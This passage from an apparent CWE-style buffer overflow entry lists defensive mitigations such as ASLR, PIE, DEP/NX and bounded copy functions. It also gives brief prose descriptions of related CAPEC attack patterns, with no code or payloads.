  • Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
  • For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation MIT-12
Operation

Strategy: Environment Hardening

  • Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.
  • For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
Mitigation MIT-13
Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

CAPEC-10: Buffer Overflow via Environment Variables

This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the adversary finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.

CAPEC-100: Overflow Buffers

Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an adversary. As a consequence, an adversary is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the adversaries' choice.

CAPEC-123: Buffer Manipulation

An adversary manipulates an application's interaction with a buffer in an attempt to read or modify data they shouldn't have access to. Buffer attacks are distinguished in that it is the buffer space itself that is the target of the attack rather than any code responsible for interpreting the content of the buffer. In virtually all buffer attacks the content that is placed in the buffer is immaterial. Instead, most buffer attacks involve retrieving or providing more input than can be stored in the allocated buffer, resulting in the reading or overwriting of other unintended program memory.

CAPEC-14: Client-side Injection-induced Buffer Overflow

This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service. This hostile service is created to deliver the correct content to the client software. For example, if the client-side application is a browser, the service will host a webpage that the browser loads.

CAPEC-24: Filter Failure through Buffer Overflow

In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).

CAPEC-42: MIME Conversion

An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

CAPEC-44: Overflow Binary Resource File

An attack of this type exploits a buffer overflow vulnerability in the handling of binary resources. Binary resources may include music files like MP3, image files like JPEG files, and any other binary file. These attacks may pass unnoticed to the client machine through normal usage of files, such as a browser loading a seemingly innocent JPEG file. This can allow the adversary access to the execution stack and execute arbitrary code in the target process.

CAPEC-45: Buffer Overflow via Symbolic Links

This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.

CAPEC-46: Overflow Variables and Tags

This type of attack leverages the use of tags or variables from a formatted configuration data to cause buffer overflow. The adversary crafts a malicious HTML page or configuration file that includes oversized strings, thus causing an overflow.

CAPEC-47: Buffer Overflow via Parameter Expansion

In this attack, the target software is given input that the adversary knows will be modified and expanded in size during processing. This attack relies on the target software failing to anticipate that the expanded data may exceed some internal limit, thereby creating a buffer overflow.

CAPEC-8: Buffer Overflow in an API Call

This attack targets libraries or shared code modules which are vulnerable to buffer overflow attacks. An adversary who has knowledge of known vulnerable libraries or shared code can easily target software that makes use of these libraries. All clients that make use of the code library thus become vulnerable by association. This has a very broad effect on security across a system, usually affecting more than one software process.

CAPEC-9: Buffer Overflow in Local Command-Line Utilities

This attack targets command-line utilities available in a number of shells. An adversary can leverage a vulnerability found in a command-line utility to escalate privilege to root.